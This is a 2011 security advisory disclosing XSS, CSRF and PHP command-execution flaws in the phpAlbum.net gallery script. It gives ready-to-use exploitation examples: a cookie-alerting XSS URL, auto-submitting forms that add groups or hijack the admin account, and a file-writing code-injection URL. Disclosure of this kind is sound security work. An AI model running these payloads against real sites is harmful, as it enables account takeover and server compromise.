Multiple Vulnerabilities in phpAlbum.net

Advisory ID:HTB22922
Product:phpAlbum.net
Vendor:Patrik Jakab
Vulnerable Versions:0.4.1-14_fix06 and probably prior
Tested Version:0.4.1-14_fix06
Advisory Publication:March 31, 2011 [without technical details]
Vendor Notification:March 31, 2011
Public Disclosure:April 14, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
OS Command Injection [CWE-78]
Risk Level:Critical
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpAlbum.net which could be exploited to perform cross-site scripting and cross-site request forgery attacks and compromise vulnerable system.

1) Cross-site scripting (XSS) vulnerability in phpAlbum.net
The vulnerability exists due to input sanitation error in the "var3" parameter in setup.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cook ie)</script>

2) Cross-site request forgery (CSRF) vulnerabilities in phpAlbum.net
2.1 The vulnerability exists due to insufficient validation of the request origin in setup.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new groups. Due to insufficient sanitation of input data in the "p_new_group_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
docu ment.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in main.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@example.com">
<input type="hidden" name="p_homepage_f" value="http://www.example.com">
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>


3) PHP command execution in phpAlbum.net
The vulnerability exists due to insufficient sanitation of the input data in the "var3" parameter in phpdatabase.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary PHP code on the target system with privileges of the web server.
Exploitation example:
http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx', 'xxxx')

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22922 - https://www.immuniweb.com/advisory/HTB22922 - Multiple Vulnerabilities in phpAlbum.net
[2] phpAlbum.net - phpalbum.net - phpAlbum.net is an Open Source PHP script which allows you to create your personal Photo Album / Gallery in just a seconds.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter